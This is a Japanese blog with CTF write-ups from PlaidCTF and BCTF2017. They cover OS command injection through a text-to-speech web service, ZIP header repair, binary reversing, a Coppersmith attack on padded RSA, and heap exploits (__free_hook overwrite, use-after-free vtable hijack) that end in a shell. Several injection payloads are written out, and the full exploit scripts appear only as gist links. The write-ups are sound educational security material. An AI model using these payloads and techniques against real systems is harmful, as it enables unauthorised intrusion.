negainoidoというチーム名で2人で参加してました。
順位は912ptsで53位でした。チームで解いた問題は以下のとおりです。

  • sanity check (Misc 1)
  • echo (Web 200)
  • zipper (Misc 50)
  • logarithms are hard (Misc 10)
  • no_mo_flo (Rev 125)
  • pykemon (Web 151)
  • multicast(Crypto 175)
  • bigpicture(Pwnable 200)

私はlogarithms are hardとpykemon以外の問題を解きました。

Echo

ツイートを送ると、それらのツイートを読み上げた音声ファイルが生成されるウェブサービスをHackする問題。
ウェブサーバのソースは与えられるのでありがたかった。
詳細な仕様は以下のとおり
Location /

  • GETパラメータにtweet1...tweet4が入っているとその内容を改行でconcatして/tmp/{uuid}/inputに書き込む。
  • ついでにflagも伸長されて/tmp/{uuid}/inputにおいてくれる。
  • つぎに、dockerコマンドで/tmp/uuid/を/share/にマップしてpython run.pyを呼び出す。run.pyの中身はわからなかったが、実はdockerコンテナをホストするサイトを調べれば見つかったらしい。
  • その後、ffmpegを使って上のdockerコマンドによって生成した音声ファイルを/audio/{uuid}/1.wavなどに移す

exploit

与えられたウェブサーバのソース自体にはそれほど致命的な脆弱性は存在しなかったので、run.pyの中に脆弱性があるのだろうと推測した。run.pyに渡すことができるのはツイートの中身だけなので、そこに集中して色々実験したところ、OSコマンドインジェクションができることがわかった。
具体的には

tweet1=`ls`

などとするとウェブサーバのls結果を読み上げてくれた。楽しい！
フラグはdockerコマンド内からは/share/flagにあるので、アクセスはできるのだが、伸長されているためそのまま`cat /share/flag`としても長すぎて弾かれてしまう。
もとの文字列に戻すスクリプトを書かなければならないがシェル芸で行うには少々酷だったのでもうちょっと高機能な処理系を使うことにした。dockerコマンドでpythonを読んでいるのでpythonはdocker内にも存在しているはず。

tweet1=#`python /share/input`
tweet2=print('hoge')

こうすると"ハッシュ、ホージ"と言ってくれた。正しく動いているようだ。
フラグの各バイトを整数に変換して読み上げてもらった。

tweet1=#`python /share/input`
tweet2 = data = open('/share/flag','rb').read()
tweet3 = print(' '.join(map(lambda x: str(ord(x)),(reduce(lambda x,y: chr(ord(x)^ord(y)), data[65000*i:65000*(i+1)]) for i in range(0,38)))))

これでフラグを読み上げてくれる。

ここからがこの問題の一番難しいところだった。フラグの途中までの音声ファイルが残っていたので聞いてみてほしい。
soundcloud.com
聞き取れるだろうか、
私には無理だった。再生速度を遅くしたら幾つかは聞き取れるが、すぐにどこまで聞いたかわからなくなってしまう。
音声ファイルを空白で区切ってくれるツールを探してもよかったのだけれど、それはそれで面倒だったので、フラグを全部読み上げてもらうのでなく、数バイト読むスクリプトを何回もあげてちょっとずつ聞き取りをした。
flag: PCTF{Li5st3n_T0__reee_reeeeee_reee_la}*1

Zipper

zipファイルがもらえるのだけれど、そのまま展開しようとしてもエラーで上手くいかない。zipファイルの仕様を調べつつどこがおかしいのか調べた。
ZIP書庫ファイル フォーマット - 略して仮。
解析したところファイル名が入るべきところがヌルバイトになっていて、かつ、ファイル名の長さを表す変数が実際より大きい値担っていた。バイナリエディタで適切な値に直してみると展開に成功し、フラグが得られた。
flag: PCTF{f0rens1cs_yay}

no_mo_flo

バイナリファイルを解析して正しい入力を見つける問題。
radare2で大まかに解析すると以下のことがわかった。

  • 入力は32バイト
  • 入力の奇数番目のデータと偶数番目のデータをそれぞれint型の配列data1, data2に移す。
  • func1(data1) != 0 && func2(data2) != 0となれば正解

func1とfunc2の挙動を解析すればよいということがわかった。なのでそれぞれの挙動を解析した。

func1

func1の方は比較的簡単で、レジスタジャンプなどを用いてはいるが、原則的に一本道で、data1の特定の要素を読み、
それに何かしらの演算をしてから定数値と比較するコードであったので、分岐条件を一つずつ調べることで解析ができた。

func2

一方func2はややこしく、data2の特定の要素を読んで演算を行い比較するところまでは読めるのだが、その比較の結果をどう利用しているのかが複雑でよくわからなかった。
具体的には比較した後r11に分岐条件を表すと思われる定数値(1~6)を入れてその後0除算を行う。そうするとあらかじめ登録しておいたSIGFPEのシグナルハンドラが呼び出され、そこで分岐先が決定されていた。
r11の値が5の時はおそらく定数との比較で一致すれば成功だろうと推測できたが、r11が1の時の挙動はイマイチよくわからなかった。
幸いにも確定できない文字数は数文字程度だったので正しい文字列を探索することにした。各入力についてgdbでesiに格納されている成功フラグが折れる可能性のある場所全てにbreakpointを張って実行しどの地点で失敗したのかがわかるようにすると１文字だけ他の文字と挙動がことなるものがあったのでそれが正しいのだろうと推測した。
その途中でわかったが、r11が1の時は比較した定数値-1であれば正解だったようだ。
flag: PCTF{n0_fl0?_m0_like_ah_h3ll_n0}*2

multicast

RSAを破る問題。次のような暗号設定である

  • Parameters: \(a_i, b_i, n_i\) (1024 bits) (for \(i \in \{1\dots5\}\))
  • Constraints:
    • \(n_i = p q\) for some prime \(p, q\)
    • \(a_i\) and \(n_i\) are coprime
  • Plain: \(M\) ( 512 bits )
  • Encrypt: \(c_i = (a_i M + b_i)^5 \bmod n_i\)

与えられるのは\(a_i,b_i, c_i, n_i\)である、public exponentが5と小さいく５つ暗号結果がある。仮に\(c_i = M^5 \bmod n_i\)であったとすると、中国人剰余定理を用いて\(M^5 \bmod N\) (ここで\(N = n_1 * n_2 * \dots * n_5\))が計算できてあとは整数上での５乗根を取れば終わりなのだが、実際には\(c_i = (a_i * M + b_i)^5 \bmod n_i\)となっているのでそう簡単にはいかない。

結局アイディアが浮かばなかったので１日寝かせた。
日曜日にもう一度考えるとcoppersmith's attackというものが使うのではないかと予想し、
Coppersmith's attack - Wikipedia
なんとかして\(M\)を解に持つ、\(N = n_1 * \dots * n_5\)上の多項式を求めるという方向性で攻めることにした。

話を簡単にするために次数が2で2本の方程式がある場合を考えよう。
いま、n,mを互いに素な整数とし2次の2本の多項式
\begin{align}
f(X) &= a X^2 + b X + c \bmod n \\
g(X) &= d X^2 + e X + f \bmod m
\end{align}
があるとする。拡張ユークリッドの互除法により\(u n + v m = 1\)となる\(u,v\)を得る。
ここで\(h(X) = v m f(X) + u n g(X) \bmod n m\)を考える。

  • \(\pmod n\)で考えると\(h(X) = v m f(X) + u n g(X) = 1 f(X) + 0 g(X) = f(X)\)
  • \(\pmod m\)で考えると\(h(X) = v m f(X) + u n g(X) = 0 f(X) + 1 g(X) = g(X)\)

となる。\(f(X) = 0 \bmod n)\)と\(g(X) = 0 \bmod m)\)が共通解 \(Z\)を持ったとすると、
\(h(Z) = 0 \bmod n, h(Z) = 0 \bmod m\)となるので\(h(Z) = 0 \bmod {n m}\)である。すなわち、\(Z\)は\(h(X) = 0 \bmod {n m}\)の解となっている。

これを五次の場合に拡張すれば\(N = n_1 * \dots * n_5\)上の多項式で平文Mを解に持つものが得られる。そうするとcoppersmithの攻撃の適用範囲になるので解が出てくる。

parigpで多項式の計算と解の計算を行った。

gist9f1e859748b04e9fe5dd5b36561cbc05

$ gp -q doit.gp 
[48256277589562736290346738984160936248669152041168006480231762961805279486041361025591223549819869423406508417405]
$ python3
>>> from Crypto.Util import number
>>> number.long_to_bytes(48256277589562736290346738984160936248669152041168006480231762961805279486041361025591223549819869423406508417405)
b'PCTF{L1ne4r_P4dd1ng_w0nt_s4ve_Y0u_fr0m_H4s7ad!}'

bigpicture

ありがたいことにCのソースコードがあたえられる。
大きなキャンバスがあたえられてその任意の場所に文字を書き込めるというプログラム
redditの今年のapril fool企画を思い出した。
When Pixels Collide

プログラムの挙動をまとめると以下のとおり

  • 最初にキャンバスのサイズW, Hをユーザが入力する
  • buf = calloc(W, H)とする
  • そこから任意の回数scanf("%d , %d , %c", x, y, c)してptr = &buf[x * H + y]とする。
    • もし*ptrがnullでないならその文字を出力する
    • そうでないならば*ptrにcを書き込む
  • ユーザがquitと入力すると最後にbufを描画し、free(buf)を呼ぶ。

scanf("%d, %d, %c", x, y, c)した値はx < Wかつy < Hでなければならないが負の値は弾かないので、実質的に任意のアドレスを読むことができる。
バイナリはPIEかつFULL RELROなのでアドレスをleakするところから攻めなくてはならない。gdbでheapのbuf周辺に何か書いてないかと調べたが何も書いてなかった。

いろいろ試していると、大きいサイズのキャンバスを作ったときにはheapではなくてmmap領域にアロケートされることがわかった。同じくmmap領域にはlibcも配置されているので、bufからlibcへの相対アドレスは常に一定となる。
1000 x 1000のキャンバスを用意し、gdbでbufがどこにアロケートされるか調べ、libcとの相対位置を調べてそのアドレス付近にクエリを投げると、libcのデータを読むことができた。したがってlibcの任意のアドレスに相対アドレスで書き込めることがわかった。
今回ripを奪うために__free_hookのアドレスにsystemのアドレスを書き込むことにした。(最近writeupを読んだEasiestPrintfと言う問題でも似たような手法が使われていたので覚えていた)そうすると、プログラム終了時にfree(buf) -> system(buf)と呼ばれてシェルを立ち上げることができる。そのためにはsystem関数の絶対アドレスをleakする必要がある。libcどこかにlibcの配置アドレスが書いてあるはずなので適当なアドレスを探したところ_IO_2_1_stderr_+0x8あたりに書いてあるのを見つけたのでそのアドレスを使うことにした。

ところが、exploitを作ったところローカルでの実行ではうまくいくのだが、remoteだと_IO_2_1_stderr+0x8を読むはずのところで別の部分のデータが帰ってきてうまくいかなかった。どうも手元の環境とリモートの環境で配置される順番か位置が異なっているようだった。向こうの環境でどう配置されるかは簡単にはわからないので、リモートでlibcがあると思われる付近のデータを読んできて、そのバイト列がlibcのバイナリのどこにあるかを調べることでlibcの配置位置を特定した。

exploit

最終的なexploitは以下のとおり。

gist84eb1d6b403e488dd2fc54318042979a
flag: PCTF{draw_me_like_one_of_your_pwn200s}

所感

各カテゴリ一問は解けたので結構満足している。他のcrypto問は時間がなくてあまり手をつけられなかったので復習したい。logarithms are hardはググり力が低くて自分では解けなかったのが悔しい。

*1:listenのスペルがちょっと違う気がするのは気のせいだろうか。

*2:実は未確定の文字を'?'として処理していたのだが、実際にフラグに'?'の文字が入っていたのでちょっと苦労した。

BCTF2017 writeup: babyuse

今週末はBCTFに参加してました。一人で参加してpwn一問だけ解けたので記録しておきます。

問題概要

配布されたzipファイルにはバイナリbabyuseとlibc.soがもらえます。

$ unzip -l e1b84982-14dc-45f3-a41b-fb80b4805bd1.zip 
Archive:  e1b84982-14dc-45f3-a41b-fb80b4805bd1.zip
  Length     Date   Time    Name
 --------    ----   ----    ----
        0  04-10-17 13:37   babyuse/
    13712  04-10-17 13:32   babyuse/babyuse
  1786484  04-10-17 13:34   babyuse/libc.so
 --------                   -------
  1800196                   3 files

バイナリを実行すると、AAのロゴ（Passion leads Amy?)が表示され、銃を買ったり売ったりできるみたいです。

$ ./babyuse 
 _                                         
|_)_. _ _o _ ._  |  _  _. _| _  /\ ._ _    
| (_|_>_>|(_)| | |_(/_(_|(_|_> /--\| | |\/ 
                                        /  

Menu:
1. Buy a Gun
2. Select a Gun
3. List Guns
4. Rename a Gun
5. Use a Gun
6. Drop a Gun
7. Exit

解析

まず基本的な情報から確認します。バイナリは32-bit ELFでFull RELRO, Canary, NX, PIE全マシです。すごく厳しいです。

$ file babyuse/babyuse
babyuse/babyuse: ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, stripped
$ checksec.sh/checksec -f ./babyuse 
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FORTIFY Fortified Fortifiable  FILE
Full RELRO      Canary found      NX enabled    PIE enabled     No RPATH   No RUNPATH   Yes     0               2       ./babyuse


PIEのバイナリはいままで読んだことなかったので解析に色々と苦労しました。
（callとかのアドレスはロード時に書き換えられるとか、ebxがgotセクションへのポインタになっているとか、初めて知りました。）

参考になったページ

Technovelty - PLT and GOT - the key to code sharing and dynamic libraries
ELF実行ファイルのメモリ配置はどのように決まるのか - ももいろテクノロジー

radare2を使って雰囲気でデコンパイルします。（ついでにalarmの時間を延ばすようバイナリを変更しました。）

ポイントは

  • 次のグローバル変数が存在する。
    • booleanの配列guns
    • gunの構造体のポインタを持っておくgun_data,
    • 現在選択した銃のインデックスselected_gun
  • いくつかのアクションが実行できる
    • Buy(type, n, str) : for( i = 0, i <= 3 && guns[i], i++ ); guns[i] := true; gun_data[i] = new Gun(type); gun_data[i]->name = new String(str)
    • Select(i): selected_gun := i (if guns[i] == true)
    • List(): show the list of current guns
    • Rename(i, str): if( guns[i] ) { gun_data[i]->name = new String(str); free(old_str); }
    • Use(): printf("...%s...", gun_data[selected_gun]->name)...
    • Drop(i): if(guns[i]) { free(gun_data[i]->name); free(gun_data[i]) }
  • gun構造体はmallocによってheapに置かれること。

です。入出力等でバッファオーバーランなどの脆弱性は見つかりませんでした。


gist537e607ab1fb1c8e0ad745b85f662487

脆弱性

とりあえず、セグフォらせる入力を探します。銃を持っていない状態で5. Use a Gunを選択したらどうなるでしょうか。

$ ./babyuse 
 _                                         
|_)_. _ _o _ ._  |  _  _. _| _  /\ ._ _    
| (_|_>_>|(_)| | |_(/_(_|(_|_> /--\| | |\/ 
                                        /  

Menu:
1. Buy a Gun
2. Select a Gun
3. List Guns
4. Rename a Gun
5. Use a Gun
6. Drop a Gun
7. Exit
5                                       
Segmentation fault (core dumped)

セグフォりました。Use a gunのコードを見てみます。

use_a_gun() {
	struct gun *gun = gun_data[selected_gun];
	printf("Select gun %s", gun->name);
	puts("1. Shoot");
	puts("2. Reload");
	puts("3. Info");
	puts("4. Main menu");
	char buf[0x20];
	while(true){
		read_until(stdin, buf, 0x20, '\n');
		int n = atoi(buf); 
		switch(n) {
			case 1:
				gun->vtable->op_shoot(gun);
				break;
			case 2:
				gun->vtable->op_reload(gun);
				break;
			case 3:
				gun->vtable->op_info(gun);
				break;
			case 4:
				return;
			default:
				puts("Wrong input");
		}
	}
}

gun_data[selected_gun]の初期値はNULLですからprintf("Select gun %s", gun->name);のところでセグフォったのだと推測できます。
本来ならばguns[selected_gun]がtrueであることを確かめなければならないはずです。
また、選択した銃を捨てた場合、その銃の構造体の領域はfreeされますが、gun_data[selected_gun]はそのままなのでfreeされた領域が参照できることがわかります。
gun->nameもmallocで管理された領域なので、文字列がfreeされた後にgun構造体として再利用されれば、その構造体のデータをleakできそうと言うことがわかります。

exploit

heapのアドレスleak

色々実験した結果、次のような入力でheapのアドレスがleakできることがわかりました。

$ cat exploit_1.txt
1
1
30
hogeeeeeeeeeeeeeeeee
1
1
15
01234
2
1
6
0
6
1
5
4
$ ./babyuse < exploit_1.txt | grep -a 'Select gun' | hexdump -C
00000000  53 65 6c 65 63 74 20 67  75 6e 20 08 3a 01 57 34  |Select gun .:.W4|
00000010  0a                                                |.|

リトルエンディアンなので0x57013a08がheap上のアドレスです。
どうしてこの入力でleakできるのかはコンテスト時はわからなかったのですが、libcのfreeの実装を調べたところ、
freeされた領域にはlinked listになっていて、一つ前にfreeされた領域へのポインタが書き込まれるためのようです。
malloc(3)のメモリ管理構造 | VA Linux Systems Japan株式会社

executableアドレスのleak

今回のバイナリはPIEなので実行時にバイナリがどこに配置されているかがわかりません。なのでアドレスをleakさせます。
New(0,"hoge") -> New(0,"hoge") -> Select(1) -> Drop(1) -> Rename(0,data) とすると、Dropした銃の構造体があったheap領域に任意のdataを書き込むことが出来ます。
その領域に対してUse()を実行すると、gun_data[selected_gun]->nameが表示出来ます。
今、heapのアドレスはすでにleakされたので一番最初のNew()で作られたgun構造体のアドレスAが計算できます。
そこで、struct gun { vtable = DUMMY, name = A, ... }のようなデータを書き込むと、validなgun構造体のデータを表示させることができます。
したがって、t.vtableのアドレスとして実行バイナリのアドレスがleakできます。

f:id:autotaker:20170417182118p:plain

libcアドレスのleak

libcのアドレスは実行バイナリの.plt.gotセクションにあるはずなので適当なアドレスを上と同じ方法でleakさせます。
つまりstruct gun { vtable = DUMMY, name = free@plt, ... }とします。

f:id:autotaker:20170417182349p:plain

shellの起動

最後にshellを起動させます。Use()の後でShootを選択すると、gun_data[selected_gun]->vtable->op_shoot(gun_data[selected_gun])が実行できることを用います。
まず、{ op_shoot = system@libc, op_reload = ANY, op_info = ANY }となるデータをheap上に配置します。そのアドレスをAとします。
つぎに、{ vtable = A, name = A, max_bullets = "||sh", bullets = 0x0}となるデータをgun_data[selected_gun]のアドレスに再利用させます。
nameをAとしているのは、セグフォを防ぐためです。
するとsystem(&{ vtable = A, name = A, max_bullets = "||sh", bullets = 0x0})が実行できます。つまりsystem("~~~~||sh")のようなことになります。||の前の部分は不正な文字列ですが、コマンド名が見つからないだけなので特に困りません。
f:id:autotaker:20170417185604p:plain

exploit


gistbbc00350a0919027da07c8846de3515c

$ python3 exploit.py
....
RECV: b'/\n'
RECV: b'babyuse\n'
RECV: b'bin\n'
RECV: b'dev\n'
RECV: b'flag\n'
RECV: b'lib\n'
RECV: b'lib32\n'
RECV: b'lib64\n'
RECV: b'wrapper\n'
RECV: b'bctf{ec1c977319050b85e3a9b50d177a7746}\n'